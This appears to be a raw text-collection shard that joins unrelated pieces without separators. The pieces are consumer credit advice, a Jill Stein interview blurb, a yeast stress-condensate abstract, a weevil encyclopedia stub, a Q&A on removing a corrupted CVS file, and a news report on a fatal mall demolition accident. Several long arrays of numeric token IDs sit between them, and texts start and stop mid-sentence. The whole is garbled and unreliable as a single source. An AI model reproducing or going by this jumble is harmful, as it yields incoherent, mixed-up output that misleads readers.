concerns about how to increase the number of the electric components, especially at the peripheral region of such substrate. In contrast to a traditional packaging technology

[ 3959, 6152, 1386, 672, 597, 1581, 368, 281, 2075, 407, 41860, 15, 2091, 368, 403, 2783, 36230, 597, 5082, 457, 85, 971, 281, 3959, 368, 247, 6152, 1386, 15, 187, 187, 1394, 923, 849, 4541, 359, 476, 2118, 432, 581, 3563, 6007, 281, 247, 4092, 4832, 12748, 1066, 253, 3971, 15, 1198, 1650, 13, 368, 778, 2057, 417, 755, 247, 15842, 342, 3076, 6152, 390, 368, 778, 320, 6636, 4564, 2792, 4465, 1600, 15, 19296, 849, 1199, 651, 326, 320, 689, 253, 2426, 273, 247, 1884, 807, 15842, 15, 733, 812, 320, 6763, 273, 8918, 326, 368, 452, 281, 789, 12150, 281, 2075, 323, 15, 187, 187, 510, 1072, 10384, 281, 634, 6753, 6503, 36102, 15, 1422, 476, 755, 1199, 1805, 4142, 672, 368, 452, 247, 3962, 6152, 2892, 15, 1893, 13, 2139, 2075, 625, 604, 627, 310, 247, 1039, 273, 2970, 1805, 7911, 32, 1422, 778, 1642, 849, 1199, 812, 253, 3064, 320, 15, 844, 6642, 326, 368, 812, 755, 670, 6818, 2620, 2558, 1679, 342, 690, 4413, 604, 368, 574, 247, 3962, 4868, 3185, 273, 247, 4105, 581, 15, 831, 651, 320, 1027, 7293, 327, 253, 2567, 368, 403, 9433, 323, 247, 14430, 15, 187, 187, 17756, 13, 368, 651, 320, 26400, 281, 1089, 247, 2567, 326, 24505, 247, 2257, 670, 6152, 2892, 672, 368, 452, 247, 1175, 4868, 15, 1244, 368, 651, 320, 12203, 323, 247, 2567, 326, 2506, 457, 85, 1918, 247, 15331, 670, 253, 958, 326, 634, 6152, 4868, 3548, 457, 85, 1270, 15, 831, 310, 1529, 1039, 273, 14419, 253, 8540, 326, 310, 4269, 407, 37358, 4832, 1453, 15, 733, 310, 512, 670, 14596, 1561, 634, 7563, 285, 10885, 634, 2583, 13909, 14556, 15, 1707, 403, 247, 1643, 24960, 326, 476, 1361, 368, 2968, 342, 841, 3237, 15, 1422, 1620, 871, 368, 812, 1705, 562, 3965, 5745, 11170, 387, 253, 990, 407, 1563, 581, 273, 253, 5659, 15, 187, 187, 34595, 13, 368, 476, 3297, 562, 273, 7596, 285, 2968, 342, 1355, 288, 280, 6837, 84, 275, 634, 1495, 1805, 672, 368, 452, 690, 16347, 15, 17814, 476, 452, 247, 12097, 90, 2180, 672, 368, 403, 6890, 7375, 390, 2819, 323, 247, 747, 581, 15, 14566, 690, 16347, 588, 1581, 368, 281, 6032, 253, 9996, 1805, 15, 831, 310, 1633, 368, 778, 878, 281, 789, 327, 285, 1691, 247, 1652, 2583, 9255, 15, 28292, 6115, 7021, 12674, 7431, 36253, 23202, 27019, 281, 18175, 9662, 6789, 617, 247, 773, 27397, 15231, 668, 285, 2719, 15, 308, 7228, 74, 443, 8902, 472, 247, 2442, 7247, 3443, 365, 15, 187, 187, 2019, 8185, 285, 1399, 2198, 10823, 13, 23202, 2296, 13, 403, 1563, 247, 773, 4714, 14, 88, 1575, 6001, 668, 273, 2820, 281, 29614, 13439, 9183, 326, 5691, 3128, 43599, 457, 44386, 382, 285, 5944, 255, 382, 7823, 15, 187, 187, 38537, 27, 3196, 15, 36253, 23202, 13, 3438, 6115, 7021, 12674, 7431, 15, 21956, 17724, 2077, 273, 22446, 18, 12776, 561, 684, 25388, 3656, 4291, 353, 3180, 273, 38224, 47002, 318, 285, 34882, 15, 187, 2347, 1341, 5223, 281, 11962, 6938, 2515, 310, 8127, 7202, 15, 3856, 13, 359, 921, 326, 13, 275, 49301, 15727, 13, 253, 5771, 14, 13018, 285, 4073, 10115, 1657, 2601, 22446, 18, 556, 271, 15276, 2867, 281, 830, 25904, 684, 2220, 35351, 390, 4250, 4073, 285, 326, 39620, 4702, 310, 2330, 342, 894, 14, 16441, 5263, 15, 20002, 432, 5263, 30150, 342, 39620, 28425, 13, 534, 3936, 2909, 313, 7873, 15357, 10, 390, 3038, 313, 22348, 6966, 481, 496, 7991, 8756, 5379, 12957, 326, 253, 1027, 28425, 4142, 273, 35351, 14, 285, 4250, 14, 6367, 25904, 684, 403, 1955, 281, 616, 1027, 2144, 3607, 27, 35351, 14, 6367, 22446, 18, 25904, 684, 830, 407, 5558, 14, 38390, 1471, 895, 272, 285, 9674, 6455, 715, 24048, 9480, 14, 3022, 6353, 28, 4250, 14, 6367, 25904, 684, 403, 625, 4891, 14, 3022, 285, 2430, 41944, 2487, 323, 10009, 18840, 15, 3824, 941, 1804, 326, 1027, 13424, 24631, 13, 347, 973, 347, 4073, 47668, 285, 26112, 13, 10808, 25904, 684, 342, 5799, 3520, 3607, 285, 7624, 4853, 1027, 10006, 273, 4073, 15644, 285, 4142, 273, 7355, 15, 8903, 284, 1494, 254, 2695, 35825, 376, 187, 187, 8903, 284, 1494, 254, 2695, 35825, 376, 13, 253, 298, 1031, 359, 41617, 13, 310, 247, 3417, 273, 3862, 14, 79, 1700, 359, 41617, 275, 253, 28868, 282, 2021, 11579, 1291, 279, 15203, 15, 733, 310, 1119, 275, 3729, 3968, 15, 187, 187, 4941, 187, 187, 11389, 4361, 1744, 19668, 187, 1413, 27, 7580, 303, 35841, 187, 1413, 27, 11796, 3741, 3562, 407, 1165, 7700, 12042, 187, 1413, 27, 4678, 292, 868, 2529, 275, 50074, 50, 27, 187, 187, 2347, 476, 247, 40634, 416, 5166, 1873, 320, 15792, 5176, 432, 247, 15173, 52, 18491, 32, 187, 187, 42, 1353, 6523, 253, 1563, 2228, 672, 2509, 271, 5731, 27, 187, 68, 10936, 5731, 27, 2717, 1929, 670, 6740, 16, 5594, 16, 681, 16, 12110, 16, 2009, 16, 19352, 10099, 20317, 15, 5594, 187, 187, 9917, 13, 672, 2820, 253, 1859, 253, 9617, 4508, 326, 1873, 970, 9182, 12548, 359, 755, 594, 1526, 751, 436, 27, 187, 1145, 19563, 14026, 17763, 15064, 187, 27363, 41668, 2135, 187, 22099, 2135, 313, 2252, 3332, 1067, 1390, 2262, 187, 50276, 4505, 13357, 2178, 16, 4805, 16, 1374, 16788, 14, 18, 15, 17, 15, 22, 16, 4658, 16, 1374, 16788, 15, 4789, 995, 1386, 5345, 2526, 13, 275, 2022, 187, 50274, 9629, 15, 6321, 64, 1374, 16788, 1082, 187, 50276, 4505, 13357, 2178, 16, 4805, 16, 1374, 16788, 14, 18, 15, 17, 15, 22, 16, 4658, 16, 1374, 16788, 15, 4789, 995, 1386, 41267, 13, 275, 1408, 64, 1374, 16788, 187, 50274, 1286, 15, 1374, 64, 4997, 9, 1286, 10, 187, 50276, 4505, 13357, 2178, 16, 4805, 16, 1374, 16788, 14, 18, 15, 17, 15, 22, 16, 4658, 16, 1374, 16788, 15, 4789, 995, 1386, 1458, 2082, 13, 275, 1859, 64, 26758, 187, 50274, 9629, 15, 28486, 15, 69, 2587, 14175, 9, 9629, 15, 3967, 64, 31369, 13, 2748, 15, 3967, 15079, 13, 1873, 64, 2203, 13, 4610, 10, 187, 50276, 4505, 13357, 2178, 16, 4805, 16, 1374, 16788, 14, 18, 15, 17, 15, 22, 16, 4658, 16, 87, 498, 487, 16, 67, 1763, 10936, 16, 876, 4478, 47977, 4789, 995, 1386, 23627, 13, 275, 277, 2587, 14175, 187, 50274, 455, 23059, 426, 795, 788, 64, 43975, 9, 1286, 13, 14035, 3967, 13, 12028, 13, 3585, 13, 749, 7341, 84, 10, 187, 50276, 4505, 13357, 2178, 16, 4805, 16, 1374, 16788, 14, 18, 15, 17, 15, 22, 16, 4658, 16, 87, 498, 487, 16, 67, 1763, 10936, 16, 876, 4478, 47977, 4789, 995, 1386, 898, 1166, 13, 275, 795, 788, 64, 43975, 187, 50274, 22525, 362, 498, 487, 15, 4756, 2073, 4756, 29072, 391, 2808, 3453, 15, 1889, 5344, 416, 5166, 1873, 2462, 84, 8, 187, 4756, 27, 11759, 29072, 391, 2808, 3453, 15, 1889, 5344, 416, 5166, 1873, 1227, 15035, 16, 9511, 16, 68, 10936, 16, 37498, 16, 7614, 16, 5594, 16, 681, 16, 12110, 16, 2009, 16, 6601, 280, 16, 9030, 1730, 552, 10099, 20317, 15, 5594, 13, 87, 13, 1119, 1227, 15035, 16, 9511, 16, 68, 10936, 16, 37498, 7614, 16, 5594, 16, 681, 16, 12110, 16, 2009, 16, 6601, 280, 16, 18686, 10099, 20317, 15, 5594, 13, 87, 187, 187, 42, 1158, 326, 253, 1895, 310, 253, 24046, 10099, 20317, 15, 5594, 13, 87, 416, 5166, 1873, 326, 4453, 751, 436, 27, 187, 2522, 50273, 28, 187, 10773, 50275, 28, 187, 84, 31356, 50276, 28, 187, 39886, 50274, 28, 7654, 28, 187, 13982, 50276, 33, 4, 1214, 28, 187, 187, 12898, 187, 22610, 187, 187, 1909, 368, 476, 923, 15, 733, 310, 6325, 15, 50276, 42, 5467, 326, 352, 943, 452, 690, 4588, 21464, 275, 352, 15, 50276, 187, 2513, 352, 10826, 281, 816, 5386, 436, 1873, 432, 253, 18491, 285, 10774, 2225, 352, 32, 14815, 326, 452, 667, 4016, 3486, 327, 253, 10141, 562, 2444, 10125, 32, 187, 187, 34, 27, 187, 187, 688, 619, 2793, 352, 310, 8718, 281, 816, 5386, 326, 1873, 432, 253, 18491, 285, 10774, 2225, 15, 187, 1992, 11990, 253, 1232, 368, 778, 1089, 352, 1805, 281, 2794, 247, 747, 2444, 3491, 285, 10774, 2225, 627, 15, 10338, 2119, 512, 440, 2823, 2166, 2544, 403, 7730, 390, 17245, 598, 11358, 15, 187, 9379, 3391, 15985, 1832, 4647, 15, 39431, 13, 1379, 896, 8777, 273, 634, 4367, 285, 604, 1896, 18491, 15, 187, 24004, 326, 434, 273, 690, 1361, 15, 535, 16281, 375, 4913, 7925, 13, 2030, 13, 9778, 275, 28974, 25948, 539, 49285, 522, 187, 187, 16281, 375, 4913, 7925, 9778, 275, 28974, 25948, 539, 49285, 522, 187, 187, 18336, 15867, 273, 3196, 15, 7252, 473, 8, 1785, 9352, 187, 187, 45840, 473, 8, 1785, 9352, 13, 2030, 13, 369, 5339, 672, 344, 369, 10903, 407, 10805, 11859, 672, 629, 273, 247, 3402, 21900, 387, 247, 789, 2670, 327, 7659, 15, 3436, 13, 4072, 13, 387, 4255, 3423, 9221, 394, 1575, 21984, 275, 42171, 21706, 15, 473, 8, 1785, 9352, 369, 629, 273, 253, 25948, 539, 10402, 2444, 387, 253, 28974, 15, 187, 187, 45840, 473, 8, 1785, 9352, 13, 2030, 13, 369, 5339, 672, 344, 369, 10903, 407, 10805, 11859, 672, 629, 273, 247, 3402, 21900, 387, 247, 789, 2670, 327, 7659, 15, 3436, 13, 4072, 13, 387, 4255, 3423, 9221, 394, 1575, 21984, 275, 42171, 21706, 15, 473, 8, 1785, 9352, 369, 629, 273, 253, 25948, 539, 10402, 2444, 387, 253, 28974, 15, 313, 18336, 15867, 273, 3196, 15, 7252, 473, 8, 1785, 9352, 10, 187, 187, 21309, 3044, 6869, 377, 249, 53, 725, 2517, 12726, 187, 187, 34, 25948, 539, 10402, 3558, 665, 369, 5339, 275, 247, 8216, 2360, 2987, 614, 7343, 275, 42171, 21706, 556, 644, 3636, 347, 2030, 14, 2913, 14, 744, 15435, 473, 457, 1785, 9352, 13, 665, 8899, 598, 275, 31438, 33963, 5226, 375, 4913, 15, 187, 187, 48, 457, 1785, 9352, 13, 665, 369, 247, 16125, 273, 659, 13046, 4855, 4726, 285, 253, 2499, 273, 11545, 13, 521, 2021, 753, 13, 369, 5339, 672, 344, 369, 10903, 407, 10805, 11859, 672, 629, 273, 247, 3402, 21900, 387, 247, 25948, 539, 2670, 3563, 8216, 387, 4255, 3423, 9221, 394, 1575, 21984, 275, 253, 11186, 38523, 15, 187, 187, 48, 457, 1785, 9352, 574, 12431, 247, 4248, 432, 530, 273, 309, 275, 17340, 285, 10630, 20701, 275, 4267, 533, 13, 7591, 281, 1089, 247, 2628, 275, 521, 1673, 13, 574, 644, 2444, 275, 25948, 539, 13, 753, 521, 18796, 13, 3196, 15, 7252, 473, 457, 1785, 9352, 15, 187, 187, 8389, 2021, 310, 773, 3620, 505, 456, 668, 407, 253, 22820, 13, 253, 18796, 753, 15, 187, 187, 1628, 1328, 7636, 1495, 1806, 3196, 15, 473, 457, 1785, 9352, 753, 15, 773, 1328, 10490, 281, 1056, 952, 9012, 1425, 187, 187, 510, 7343, 5866, 387, 670, 1903, 268, 15, 78, 15, 8216, 347, 247, 789, 10402, 369, 30906, 1066, 271, 19633, 3402, 273, 247, 3438, 21521, 7948, 10301, 281, 1056, 1039, 323, 247, 747, 6813, 72, 10356, 457, 84, 11573, 9972, 15, 187, 187, 10282, 398, 497, 11922, 271, 8346, 3828, 273, 20098, 672, 11859, 7437, 6497, 432, 253, 1755, 273, 253, 3402, 285, 4352, 1264, 5820, 15, 187, 187, 32351, 2189, 8726, 17504, 4412, 6861, 335, 1972, 7244, 275, 1264, 2909, 13, 285, 5820, 574, 2168, 5176, 253, 21593, 432, 253, 10349, 13, 19897, 9060, 26419, 6212, 753, 15, 187, 187, 4221, 3163, 982, 2335, 767, 273, 253, 5820, 13, 1690, 473, 457, 1785, 9352, 13, 281, 13536, 24461, 12776, 437, 8710, 5197, 275, 23583, 6169, 15, 187, 187, 1628, 3404, 436, 1127, 627, 310, 642, 14011, 326, 436, 310, 643, 685, 247, 26183, 7343, 1806, 42171, 21706, 20186, 353, 3751, 6277, 45664, 753, 275, 247, 2315, 3727, 15, 773, 6067, 34620, 6882, 311, 2979, 285, 24861, 564, 562, 281, 253, 2021, 273, 253, 24332, 1425, 187, 187, 510, 4400, 29314, 1050, 4775, 285, 18731, 13500, 310, 15686, 253, 7343, 15, 187, 187, 510, 3625, 22350, 387, 253, 789, 2670, 369, 367, 15, 52, 15, 4281, 311, 539, 13, 534, 574, 642, 2892, 273, 5252, 15927, 13, 473, 23855, 18082, 7493, 14272, 753, 15, 187, 187, 510, 13274, 8855, 14, 3169, 2567, 457, 84, 7066, 2670, 8631, 352, 347, 4751, 17236, 13, 19420, 285, 5533, 494, 13, 285, 3054, 326, 352, 4648, 1097, 1133, 5657 ]

offer credit line when they allow you to pay by installment. When you are considered unreliable they wouldn’t want to offer you a credit line. You see how quickly we can move from one late bill to a serious financial difficulties down the road. For example, you may either not get a mortgage with bad credit or you may be charged couple points extra interest. Think how much would that be over the terms of a 30 year mortgage. It could be thousands of dollars that you have to work harder to pay for. The same applies to your auto insurance premiums. You can get much better rates when you have a perfect credit history. So, why pay more if there is a way of getting better prices? You may ask how much could the difference be. We estimate that you could get about twenty five percent less with some companies if you had a perfect score instead of a poor one. This would be different depending on the company you are applying for a quote. Therefore, you would be aiming to find a company that cares a lot about credit history when you have a good score. And you would be searching for a company that doesn’t give a toss about the fact that your credit score isn’t great. This is another way of managing the damages that is caused by slack financial control. It is all about staying within your budget and handling your money affairs efficiently. There are a few blogs that can help you deal with these problems. You never know you could come out pretty savvy at the end by following one of the programs. Generally, you can stay out of trouble and deal with small hiccups in your life better when you have some savings. Everyone can have a patchy period when you are changing jobs or looking for a new one. Having some savings will allow you to smooth the transaction better. This is something you may need to work on and put a little money aside.Former Green Party presidential candidate Jill Stein responds to Hillary Clinton calling her a “Russian asset” and Rep. Tulsi Gabbard a potential Russian dupe. Clinton and centrist Democrats, Stein says, are following a “well-worn script” of trying to undermine progressive candidates that challenge party elites’ militarist and corporatist policies. Guest: Dr. Jill Stein, former Green Party presidential candidate.Different Material States of Pub1 Condensates Define Distinct Modes of Stress Adaptation and Recovery. How cells adapt to varying environmental conditions is largely unknown. Here, we show that, in budding yeast, the RNA-binding and stress granule protein Pub1 has an intrinsic property to form condensates upon starvation or heat stress and that condensate formation is associated with cell-cycle arrest. Release from arrest coincides with condensate dissolution, which takes minutes (starvation) or hours (heat shock). In vitro reconstitution reveals that the different dissolution rates of starvation- and heat-induced condensates are due to their different material properties: starvation-induced Pub1 condensates form by liquid-liquid demixing and subsequently convert into reversible gel-like particles; heat-induced condensates are more solid-like and require chaperones for disaggregation. Our data suggest that different physiological stresses, as well as stress durations and intensities, induce condensates with distinct physical properties and thereby define different modes of stress adaptation and rates of recovery.Agasphaerops nigra Agasphaerops nigra, the lily weevil, is a species of broad-nosed weevil in the beetle family Curculionidae. It is found in North America. References Further reading Category:Entiminae Category:Articles created by Qbugbot Category:Beetles described in 1876Q: How can a corrupted RCS file be safely removed from a CVS repository? I'm seeing the following error when doing an update: cvs update: nothing known about src/java/com/foo/bar/SamplePageBean.java Also, when trying the view the directory containing that file using ViewVC we get soething like this: An Exception Has Occurred Python Traceback Traceback (most recent call last): File "/opt/bin/viewvc-1.0.5/lib/viewvc.py", line 3766, in main request.run_viewvc() File "/opt/bin/viewvc-1.0.5/lib/viewvc.py", line 394, in run_viewvc self.view_func(self) File "/opt/bin/viewvc-1.0.5/lib/viewvc.py", line 1565, in view_directory request.repos.dirlogs(request.path_parts, request.pathrev, file_data, options) File "/opt/bin/viewvc-1.0.5/lib/vclib/bincvs/__init__.py", line 195, in dirlogs alltags = _get_logs(self, dirpath, entries, rev, subdirs) File "/opt/bin/viewvc-1.0.5/lib/vclib/bincvs/__init__.py", line 917, in _get_logs raise vclib.Error('Error parsing rlog output. Expected RCS file %s' Error: Error parsing rlog output. Expected RCS file /export/home/cvs/repository/src/java/com/foo/bar/Attic/GlossaryPageBean.java,v, found /export/home/cvs/repositorysrc/java/com/foo/bar/Attic/HomePageBean.java,v I think that the problem is the SamplePageBean.java,v RCS file that looks like this: head ; access ; symbols ; locks ; strict; comment @# @; desc @@ As you can see. It is empty. I assume that it should have some actual metadata in it. Is it OK to just remove this file from the repository and recommit it? Would that have any negative impact on the checked out working copies? A: In my experience it is ok to just remove that file from the repository and recommit. To ease the process you may find it better to create a new working copy and recommit there. Make sure all uncommitted changes are committed or backed up elsewhere. Obvious caveats apply. Namely, take backups of your files and if possible repository. Hope that's of some help. Palos Park native, 25, dies in mall demolition mishap Palos Park native dies in mall demolition mishap Courtesy of Dr. William O'Reilly Patrick O'Reilly, 25, was killed when he was struck by falling concrete when part of a wall collapsed at a work site on Dec. 26, 2013, at Westfield Hawthorn Mall in Vernon Hills. O'Reilly was part of the demolition crew working at the mall. Patrick O'Reilly, 25, was killed when he was struck by falling concrete when part of a wall collapsed at a work site on Dec. 26, 2013, at Westfield Hawthorn Mall in Vernon Hills. O'Reilly was part of the demolition crew working at the mall. (Courtesy of Dr. William O'Reilly) Robert McCoppinTribune reporter A demolition crew member who was killed in a Thursday night worksite accident in Vernon Hills has been identified as 25-year-old Patrick O’Reilly, who grew up in southwest suburban Palos Park. O’Reilly, who was a graduate of Stagg High School and the University of Illinois, his family said, was killed when he was struck by falling concrete when part of a wall collapsed at a demolition site late Thursday at Westfield Hawthorn Mall in the northern suburb. O’Reilly had earned a degree from U of I in agricultural and consumer economics in 2010 but, unable to find a job in his field, had been working in demolition, said his uncle, Dr. William O’Reilly. His family is “devastated” by the tragedy, the uncle said. “He loved life,” Dr. O’Reilly said. “He liked to make people laugh.” The accident occurred at about 11 p.m. Thursday as a work crew was knocking down an exterior wall of a former Ruby Tuesday restaurant to make way for a new Maggiano’s Little Italy. Workers were removing an outer layer of brick when concrete pieces fell from the top of the wall and hit three workers. Countryside Fire Protection District ambulances arrived in three minutes, and workers had already removed the debris from the victims, Deputy Chief Chuck Smith said. Paramedics took two of the workers, including O’Reilly, to Advocate Condell Medical Center in Libertyville. “At this point there is no indication that this is other than a tragic accident,” Vernon Hills Village Manger Michael Allison said in a press release. “Our deepest condolences and prayers go out to the family of the deceased.” The federal Occupational Health and Safety Administration is investigating the accident. The primary contractor at the work site was P.S. Demolition, which had no history of safety violations, OSHA spokesman Scott Allen said. The Wheeling-based company’s Web site describes it as fully licensed, insured and bondable, and states that it uses both hand tools

[ 630, 28196, 281, 370, 46, 64, 20, 5, 313, 90, 13, 91, 13, 93, 91, 1572, 14767, 46, 2582, 20, 1181, 708, 426, 708, 27468, 9, 17, 21687, 9, 91, 13, 93, 91, 10, 559, 340, 27468, 9, 18, 21687, 9, 91, 13, 93, 91, 10, 559, 473, 9, 90, 9952, 19, 36399, 545, 466, 37755, 4207, 496, 958, 407, 16122, 3891, 69, 2162, 3851, 581, 476, 921, 326, 669, 2162, 13061, 18, 32845, 17, 1352, 4683, 2282, 13, 347, 7312, 581, 310, 1959, 281, 294, 3182, 370, 83, 61, 4287, 391, 393, 4153, 1035, 4144, 13, 91, 1337, 2009, 92, 91, 19446, 835, 669, 4153, 5, 310, 667, 6032, 13, 17663, 5058, 1159, 327, 370, 46, 64, 20, 1366, 4795, 275, 247, 29269, 9261, 273, 253, 7548, 7982, 2367, 2690, 92, 69, 599, 84, 63, 19, 578, 46, 64, 20, 889, 4287, 393, 4153, 63, 19, 464, 2690, 92, 69, 599, 84, 63, 19, 578, 46, 64, 20, 3363, 1723, 13, 275, 253, 1246, 3634, 4366, 326, 370, 83, 30, 18, 16, 90, 5, 310, 247, 475, 19293, 11, 4327, 273, 14599, 13249, 15, 187, 187, 3378, 253, 20059, 7548, 1617, 3891, 10320, 267, 7713, 3851, 323, 370, 88, 5, 352, 3637, 8356, 326, 370, 44, 2029, 3214, 2253, 4144, 5, 310, 17663, 5058, 275, 247, 24092, 273, 253, 29269, 7548, 370, 90, 30, 17, 1352, 1284, 359, 3091, 923, 13, 436, 588, 18302, 253, 1072, 2605, 327, 370, 46, 64, 20, 5, 347, 1008, 2019, 375, 1178, 27, 6755, 579, 1092, 533, 359, 943, 4073, 326, 436, 310, 417, 253, 2087, 4112, 15, 1198, 1650, 13, 581, 812, 1379, 253, 2629, 28095, 7982, 323, 29850, 48324, 13, 10138, 595, 12691, 347, 247, 3943, 4023, 275, 2367, 1991, 92, 51, 7294, 21, 1366, 285, 1379, 370, 44, 5, 281, 320, 253, 43779, 4972, 326, 45933, 253, 806, 2803, 275, 2367, 1991, 92, 51, 7294, 19, 61, 11613, 1926, 1991, 92, 51, 7294, 19, 61, 14829, 1926, 1991, 92, 51, 7294, 21, 1352, 496, 958, 436, 588, 320, 253, 475, 19293, 11, 4327, 273, 370, 44, 5, 326, 15877, 275, 253, 767, 14, 2163, 412, 1306, 2900, 2529, 275, 30762, 905, 19, 36479, 4207, 380, 7897, 16859, 3891, 10320, 267, 7713, 3851, 310, 3021, 5604, 247, 12400, 327, 253, 966, 273, 1896, 21349, 3963, 5482, 13, 3738, 512, 6667, 275, 2593, 905, 1704, 27, 911, 20692, 696, 452, 10165, 273, 43779, 4972, 323, 534, 436, 7466, 6556, 15, 187, 187, 15968, 272, 281, 253, 1083, 387, 1133, 13, 253, 29269, 7548, 310, 247, 8566, 1264, 14, 38556, 370, 46, 64, 20, 5, 313, 1615, 9376, 582, 285, 432, 253, 1840, 5955, 247, 3626, 4327, 273, 8612, 323, 253, 7982, 310, 905, 20, 10994, 696, 256, 9952, 19, 13380, 46, 2582, 20, 1181, 14082, 21757, 2582, 17, 1572, 63, 19, 559, 577, 26997, 88, 13380, 9, 17, 10, 9899, 91, 93, 60, 91, 1181, 575, 15, 17766, 326, 253, 830, 273, 253, 7982, 3891, 20, 10994, 3851, 310, 10534, 273, 253, 830, 5421, 275, 1008, 22088, 333, 27, 6622, 77, 5830, 1570, 496, 326, 3806, 271, 1774, 2554, 310, 4546, 407, 253, 581, 14, 630, 905, 1464, 696, 17345, 209, 575, 12, 2582, 17, 575, 13, 534, 556, 19633, 4309, 905, 2162, 17, 696, 209, 575, 30, 209, 575, 2582, 17, 14082, 374, 2582, 90, 9, 55, 9952, 88, 1572, 14767, 90, 30, 17, 1181, 91, 93, 60, 91, 1181, 209, 575, 30, 17345, 259, 13380, 9, 18, 10, 44162, 88, 13380, 9, 17, 10, 9899, 91, 93, 60, 91, 1181, 575, 15, 380, 830, 669, 1464, 5, 310, 247, 4156, 475, 25855, 3057, 581, 14, 630, 11, 327, 370, 46, 64, 20, 1352, 380, 954, 15246, 1039, 281, 15313, 436, 275, 253, 1083, 387, 1133, 310, 281, 3877, 253, 830, 273, 253, 7548, 43779, 5508, 263, 5150, 275, 2593, 905, 1704, 27, 67, 44, 2354, 696, 285, 4549, 281, 253, 1543, 273, 1008, 2019, 375, 1178, 27, 6755, 579, 1570, 187, 187, 510, 43779, 4972, 370, 44, 2029, 3214, 2253, 4144, 5, 310, 253, 475, 1785, 2275, 4972, 11, 323, 253, 2761, 3057, 830, 669, 1464, 1366, 347, 3637, 432, 253, 7424, 611, 15638, 337, 575, 13, 611, 575, 30, 209, 575, 17, 575, 15, 380, 24679, 273, 370, 44, 5, 3021, 6305, 4513, 370, 46, 64, 20, 1366, 285, 25761, 436, 6305, 2492, 310, 811, 13110, 33592, 342, 1980, 2570, 13249, 370, 91, 1352, 2091, 253, 24679, 273, 370, 44, 5, 512, 2810, 352, 15693, 247, 370, 54, 9, 18, 1009, 10377, 273, 253, 7548, 2605, 13, 285, 253, 12801, 2317, 370, 46, 64, 20, 16, 54, 9, 18, 1009, 310, 275, 2087, 247, 8566, 36391, 49228, 2553, 13, 327, 534, 370, 91, 5, 778, 320, 12258, 347, 247, 1980, 2570, 13249, 15, 2053, 403, 3839, 1925, 1023, 338, 797, 5713, 433, 1264, 14, 21338, 3502, 275, 253, 6239, 15, 1623, 253, 643, 1133, 13, 604, 370, 44, 5, 556, 387, 1878, 581, 1327, 14, 13784, 12801, 840, 1580, 253, 310, 6213, 1387, 273, 247, 8566, 16751, 310, 8566, 13, 359, 27566, 326, 370, 46, 64, 20, 5, 19943, 387, 1878, 247, 370, 54, 9, 18, 1572, 3181, 530, 9, 18, 1009, 10377, 13, 285, 253, 2605, 2931, 407, 669, 1464, 5, 310, 247, 475, 13473, 280, 11, 2761, 3057, 2605, 15, 496, 436, 1083, 359, 778, 9569, 2629, 370, 19, 61, 2059, 2911, 17911, 11627, 669, 4535, 64, 18, 1366, 669, 4535, 64, 19, 5, 327, 253, 32621, 370, 54, 9, 18, 1572, 3181, 530, 9, 18, 1009, 285, 3630, 905, 44, 13473, 280, 696, 611, 14082, 23577, 575, 30, 17345, 270, 2582, 18, 13380, 2582, 18, 1181, 12, 67, 2582, 19, 13380, 2582, 19, 1181, 575, 15, 187, 187, 4509, 3891, 2162, 17, 3851, 359, 27566, 326, 253, 11276, 10235, 370, 88, 13061, 18, 10392, 310, 247, 21349, 2931, 475, 21705, 11, 1159, 327, 370, 46, 64, 20, 5, 1108, 326, 310, 13, 352, 310, 13727, 762, 370, 44, 2029, 3214, 2253, 4144, 1352, 5076, 13, 253, 2761, 3057, 830, 669, 1464, 5, 310, 247, 475, 22045, 830, 11, 10534, 672, 253, 1159, 370, 88, 13061, 18, 10392, 310, 11678, 2762, 15, 844, 3091, 923, 1996, 326, 627, 403, 6667, 323, 534, 669, 1464, 5, 310, 3057, 285, 417, 3057, 15, 1623, 253, 643, 1133, 13, 253, 10235, 370, 88, 13061, 17, 10392, 310, 275, 2087, 760, 247, 12171, 2931, 1159, 273, 370, 91, 1337, 2009, 92, 91, 3303, 347, 581, 11403, 407, 15806, 326, 253, 17430, 7982, 370, 72, 64, 53, 426, 1926, 2690, 92, 70, 9496, 88, 13061, 17, 48138, 2690, 92, 69, 599, 91, 464, 2690, 92, 69, 3080, 2009, 92, 91, 724, 310, 247, 4156, 767, 14, 26109, 13, 533, 275, 2087, 253, 2570, 13249, 370, 91, 5, 310, 2931, 760, 12171, 35117, 24, 62, 733, 588, 320, 4217, 275, 752, 3637, 281, 4853, 247, 3969, 17430, 4644, 830, 23577, 53, 708, 708, 374, 26997, 88, 13380, 9, 17, 10, 9899, 91, 93, 60, 91, 1181, 575, 15, 10036, 13, 436, 310, 247, 4156, 13148, 327, 370, 46, 64, 20, 1366, 342, 14082, 23577, 17, 209, 575, 30, 209, 575, 2582, 53, 575, 15, 187, 187, 27869, 552, 43779, 5508, 263, 1712, 1704, 27, 67, 44, 2354, 94, 187, 25916, 187, 187, 688, 436, 2593, 359, 921, 326, 253, 43779, 5508, 263, 669, 4259, 5, 14757, 247, 43779, 5508, 263, 669, 4635, 5, 327, 253, 29269, 7548, 370, 46, 64, 20, 5, 326, 35910, 253, 43779, 5508, 263, 5150, 275, 1008, 2019, 375, 1178, 27, 6755, 579, 1570, 187, 187, 1231, 3135, 407, 43800, 253, 49674, 1939, 3665, 273, 581, 14, 13015, 905, 52, 2573, 6301, 696, 544, 70, 33805, 17, 14082, 657, 26997, 18, 16, 19, 1181, 90, 575, 13, 35911, 18, 209, 575, 30, 209, 575, 55, 47686, 18, 16, 19, 1181, 35242, 575, 13, 35911, 19, 559, 544, 70, 33805, 20, 209, 575, 30, 209, 575, 9, 55, 9952, 88, 1572, 18990, 18, 16, 19, 1181, 91, 575, 13, 323, 253, 1881, 14, 34716, 21003, 7982, 3891, 52, 2573, 8001, 844, 9569, 247, 3969, 3665, 323, 253, 1264, 14, 10994, 2367, 2690, 92, 69, 599, 84, 63, 19, 578, 46, 64, 20, 724, 327, 253, 29269, 7548, 27, 905, 3804, 18, 696, 299, 9952, 18, 13380, 9, 20, 21687, 209, 575, 30, 209, 575, 12, 27468, 9, 17, 21687, 575, 13, 299, 13380, 9, 20, 10, 33805, 19, 12, 70, 13380, 9, 20, 10, 33805, 20, 209, 575, 30, 209, 575, 19, 393, 18990, 88, 13380, 9, 17, 21687, 16, 19, 1181, 1182, 575, 13, 285, 588, 897, 14452, 370, 74, 13, 75, 13, 76, 30, 18, 13, 19, 13, 20, 5, 323, 436, 49674, 1939, 3665, 15, 187, 187, 1231, 1735, 5645, 253, 1740, 14, 6967, 43779, 5508, 263, 5150, 347, 247, 11276, 2962, 275, 370, 90, 1352, 2596, 7866, 407, 15806, 326, 669, 4220, 2850, 1906, 426, 551, 70, 2850, 